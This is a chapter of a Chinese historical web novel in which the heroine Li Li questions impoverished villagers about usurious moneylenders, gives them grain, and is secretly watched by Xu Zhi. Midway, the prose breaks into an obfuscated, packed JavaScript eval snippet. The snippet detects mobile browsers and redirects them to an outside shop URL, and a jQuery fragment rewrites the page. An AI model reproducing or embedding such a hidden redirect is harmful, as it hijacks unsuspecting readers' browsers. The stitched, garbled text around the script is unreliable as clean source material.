牛领疮见骨，叱叱犹夜耕。
竭力事本业，所愿乐太平。
门前谁剥啄？县吏征租声。
一身入县庭，日夜穷笞搒。
——陆游《租税逼命·农家叹》
一路上，又问了几家粮食铺的粮价，果然如先前的妇人所言，大概是各个铺子一齐商量好的价格，这也不奇怪，大凡行商之人，相同商类，价格低者，尝受同类排挤；定价过高，则愿购者少，除非质量好，大有名气之类，一般人还是遵守市价。
随着马车的前进，喧闹声和叫卖声被远远抛在身后，取而代之的是静谧。
出了繁华之地，路也变得崎岖不平起来，马车速度减缓。
到城郊之处，村落稀稀拉拉，周围皆是田地。李理吩咐车夫停下，和桃儿一起下了车，并着马车走。
路是人马经常走压出来的小道，路上还留着因从前积水而成型的车辙。
沿着小土路往前看，前方零散长着几棵光秃秃的树，去年收过粮食留下的稻草一堆一堆的错落在树下。
李理找寻着，同一片土地，却相差如此之大，不是亲眼所见之人，大概也不会觉察。
前头一个用木板围起来的小庭院，院门大开着，门沿下放着一堆竹片，旁边一位头发花白，蓄着胡须的老者手中拿着刀，上下动作，靠近了看，是在劈竹丝。
李理先轻步走过去，拿下头上的帷帽，弯腰对老者道：“大爷？您这是在做什么？”
对面的老者闻声猛然一惊，眼神惊惶地在来人身上上下瞟了两眼，起身抱起竹片就往门里撤。
桃儿双手迅速扒住门板，嘴里解释道：“哎呦！老大爷，这光天化日的，您先别急着关门，我们只是想问您老人家一些事儿，您行个方便？”
李理见老人家反应如此激烈，方才眼神是在观察自己，显然是有反感和恐惧。
李理出言安抚道：“大爷您放心，我们只是来此地游玩，恰巧看见你在摆弄竹子，心下实在好奇，才打搅了您。”
又伸手指着竹片，语气好奇道：“这春天还未来，外头还刮着冷风，您不在屋里坐，反在外头把竹子劈成了竹片，又把竹片弄成竹丝，这是为何？”
老者听了李理说的话，仿佛触动了心事，摇着头，叹气道：
“哎！谁不想在屋里偷懒！还不是老天爷不给饭吃！一家老小，只仗着一亩三分地，是活不到麦子下次结穗的，我趁着这时候得闲，砍些竹子编竹筐，还能卖几文钱补贴家用。”
桃儿惊讶道：“几文钱！费这么大劲编的竹筐只能卖几文钱！”
老者瞪着桃儿愤愤道：“哼！你们这些官家小姐，整日大鱼大肉，怎么知道我们老百姓的苦！几文钱也是我们一顿顿饭钱！”
桃儿绞着手指头，身子微微往李理身后躲，她自记事起就卖进了李府当给李理当伴儿，自是不晓得这番苦，可当初她家人狠心把她卖掉，不也是求几顿饭钱。
李理察觉到桃儿的动作，晓得她是联想到了自己，只由着她躲在自己身后。
看着眼前的老人，心里更加发酸，这都是她未经过的苦，她不知晓其中的滋味，无法劝解，暂且埋在心下。
李理依然询问：“这里离商市也不远，大爷您为何不去钱庄里借些钱，等粮食下来再还？”
“借？我们小老百姓可借不起钱，利息高不说，还是一群狗眼看人低的！它真接给你，也是坑害你！”老者愤愤不平。
接着道：“村南头的张三，前些年盖新房，去借五百文，可人家说一两银子起借，他没别的法子，就借了一两银子，结果呢？到期了还不上，钱庄的人带着几个壮汉去了他家，二话不说把新房子给拆了，张三是哭爹喊娘，可是有什么用？他爹娘早就饿死了！呸！一群杀千刀的玩意儿！”
李理道：“怎么如此霸道！为何不报官，官府的人不管吗？”
老者道：“不晓得！要是真有用哪里回有这档子事儿！你们快走吧！”说着就要关门。
“大爷！您先别急，您不是卖竹筐吗？有没有现成的？我刚好使得上，您与其拿到街上去卖，不如现在直接卖给我，你我皆图个方便。”
老者听到这话，思索片刻，大开了门，叫她二位进来，往屋里去，边走边问：“要几个？”
李理答：“三个就好。”
老者进了屋里取竹筐，李理又跟桃儿说：“你去叫马夫搬两袋米来。”
桃儿点头道是。
老者拿了三个竹筐出来，见门口放了两袋米，莫约有二十升，假装没看见，递了竹筐给桃儿，语气坚毅道：“不值钱的东西，你们看着给吧！”
李理看过竹筐，十分精致，不知编一个要花多长时间？编到这般水平又要耗多少年月？叹息道：
“怎么能这么说？我偏喜欢这竹筐，您看可否以物易物，这两袋米可够价钱不够？”
老者连连摆手：“多了多了！”
李理仔细看着竹筐，指尖抚摸上头的纹路笑道：“不多，您竹筐编得好，还陪我们说话，您老人家就收下吧！”
老者还是不愿收，又推辞了几回，才作罢。
拜别了老者，李理继续往村里去，沿着崎岖不平的土路往前走，转角处一位大娘抖着簸箕，手上来回挑挑拣拣，大娘听见马车声，抬头往这边看，好似察觉到有人往这边来，忙放下手里的簸箕起身往路上看。
这大娘见他们穿戴整齐，不是乡下百姓，向马车摆着手先打开话头道：“可是城里来的小姐，不在家里喝茶赏花，往这犄角旮旯处作甚？”
李理见这位大娘十分热情，道：“今日得闲，往乡下走走，想着见见不同的风景。”
大娘道：“小姐真会说笑，这里虽挨着京城，也只是听着沾了些富贵，到底还是穷乡僻壤，哪有什么值得欣赏的？”
李理疑惑道：“这处也是归京城管，大娘却说是穷乡僻壤之地，此话怎讲？”
大娘听她这话，起了兴头，拍着胸口，真心诚意道：“小姐，我虽是个平头百姓，也说句实在话，这京城是富庶不假，可这银子一天天的如流水般，不是进了这位大人的腰包里，就是落到那位姥爷的口袋中。原本也有些不服气，不过是托生在了不同的肚子里，竟然如此大的差距！日子久了倒想通了，做百姓的奢求不得这个富贵，只求安安稳稳的，过个一辈子也就摆了！哪个能想到，现在这安稳，也成奢望了！”
李理道：“这又如何讲？”
大娘道：“种的粮食，除却税赋，原本一家子吃都勉勉强强，近两年收成不好，村里人只得借钱种地，只是利息一年比一年高哩，有的田地卖了都还不起，也没人敢借了，您说说，这叫老百姓如何活呀！”
大娘说得直拍手，激动地流出泪来，又以手胡乱抹去。
李理轻咬嘴唇，心中一紧，扯了袖儿里的帕子递给大娘，大娘道了声谢，又无奈道：“横竖我说了你也懂不得。不说了不说了！快到了饭点，你们若不嫌弃粗茶淡饭，今日不如吃罢再走？”
李理推辞道：“大娘的好意我们心领了，实在抹不开空儿。刚好我们也有东西给您，权当谢意。”
说罢给桃儿使了个眼色，桃儿心领神会，吩咐车夫抬下两袋粮食。
大娘手上不住搓捻帕子，眼神惊讶不已，忙问：“小姐这是做什么？我要不得您的东西！”
李理扶着她的手低声细语：“大娘您且收下，改日得空，定上门拜访。”
大娘紧紧交握着李理的手，连连点头，红红的眼眶兜着泪水，看向李理的眼神满是感激。
大娘望着李理的马车渐渐走远，才坐下身继续抖着簸箕。
又问了几家农户，将粮食都送了出去，起先也是不要，都是推脱了一番才肯收下。且各家各户对钱庄的说辞也都是相差无几的态度和说辞，可见信息不假。
转眼见天色已晚，李理坐上马车直往许府里赶。在车上，李理又聚精会神翻看着图纸，心下凄然，城郊里的百姓都因她以粮相赠夸她心善，实则她问他们话，她才是真占了便宜，老百姓不行商，晓不得这个道理。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17412292|200695||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>随着马车一晃她猛然想到，她今天做了很多事，但好像把看铺子的事忘了，一时间哭笑不得，只得得空了再看。
等到了许府，四周已变得漆黑，李理和桃儿各抱着竹筐，竹筐里放着今日买的书。两人一前一后从侧门入，往袁氏院里走。
因天色极黑，人的神经反而越灵敏，感官被无线放大，李理突然顿住脚步，桃儿“啊！”了一声，撞上了李理。
桃儿抬头看，察觉到异样，害怕道：“二娘……”
空荡的石板路，延伸到黑暗里，黑暗里好像有一团影子在动……
主仆二人瞬间僵在原地，李理清楚感受到桃儿捏她胳膊的手在瑟瑟发抖，身子也打着颤，她自己也攥紧了竹筐，如有意外，她可以立马扔出去。
随着黑影渐渐靠近，李理屏住呼吸，慢慢抬起了攥着的竹筐，夜色中突然响起熟悉的声音。
“嘿！你们两个小鬼头，半夜三更才着家，京城溜得倒是比我还匀称！”
李理瞬间松了一大口气，原来是自己袁姨，真是虚惊一场。
桃儿也松了口气道：“原来是袁姨啊！”
袁氏双手交叉放在胸前，头上的金丝分心随着说话时脑袋的幅度而在夜幕下闪着光。
又调笑道：“叫我猜猜，可是往东街看铺子去了！”
李理道：“袁姨，你刚才可真是吓到我和桃儿了，这黑灯瞎火的，您也不出声！”
袁氏笑道：“嘿！我心里想呢，怪不得你们两个不动，我以为是怕我呢，原来是怕鬼！”说罢拿手绢遮了嘴，乐呵呵地笑了起来。
李理道：“本来要去看铺子的，到东街上反倒忙忘了，再想起时天色都晚了，我怕您担心，就回来了。”说罢，用指尖挠了挠鼻子。
袁氏看在眼里，认真道：“你做事表面心不在焉，实则也是有盘算的。我放心你，但也怕别人按不好的心，你往后去哪里都告诉我，也早回来些。”
李理道：“我晓得了袁姨，叫您担心了。”
袁氏摆手道：“走吧，猜想你们两个还未用饭，我叫丫鬟留了，快回去吃。”
三人快步回到屋里，用了饭，李理洗漱过就床上睡觉。本是想休息，但脑里又忍不住计划起了明天，她双手用力挠了挠头，提醒自己不要在思考，乌发随着动作散落满脸，遮住了白净的脸蛋。
月光透过窗纸，流沙一样撒了一地，一寸一寸往床前移，床上的少女眉目舒展，呼吸均匀，应是一夜无梦。
此时夜深人静，许知盘腿坐在书案前看书，脑袋微斜，枕在手臂上，双眸微沉，右手指尖不经意翻动书页，沙沙作响，更显得四周静谧。
门外响起敲门声，许知抬眼往门一瞥，冷声道：“进。”
推门而入以为黑衣剑客，将门关上后，面向书案前的人抱拳单膝跪地道：
“少爷，李家二娘的踪迹已全部查清。她在东街新开的粮食铺子买了一石粗米，出了东街，分给了城郊村里的农民，之后从侧面进了许府，再没有别的动作。”
许知冷声道：“晓得了，继续盯着。”
来人去后，他闭上眼睛冷哼一声，嘴角带出一抹笑。他大概猜想到她要做什么。
世人皆逐利，何况她刚见识到京城的繁华，定不能免俗。
只可惜她大概要失望了，京城豪门贵族大都有自己的田产商铺，看似各自经营，实则暗中各有勾结，若非给各种好吃，随波逐流，否则极度排外。
她初来乍到，无权无势，怕是不晓得其中的厉害，必定要在此处翻跟头才作罢。
像她这样的人，真叫人好奇，事先做得这样周全，倒有“明知山有虎，偏向虎山行”的意味。
不过她如何与他有和干系，不过暂时同住一个屋檐下罢了。
越想反而越急躁起来，没了看书的心思，起身盘着发尾，慢悠悠走出门，一个箭步飞到屋檐上，翘着二老腿放身躺下。
夜风吹拂着发丝，散漫的眸子终于阖上，任月光撒在眉眼，鼻梁像小山一样在脸上印出了黑影。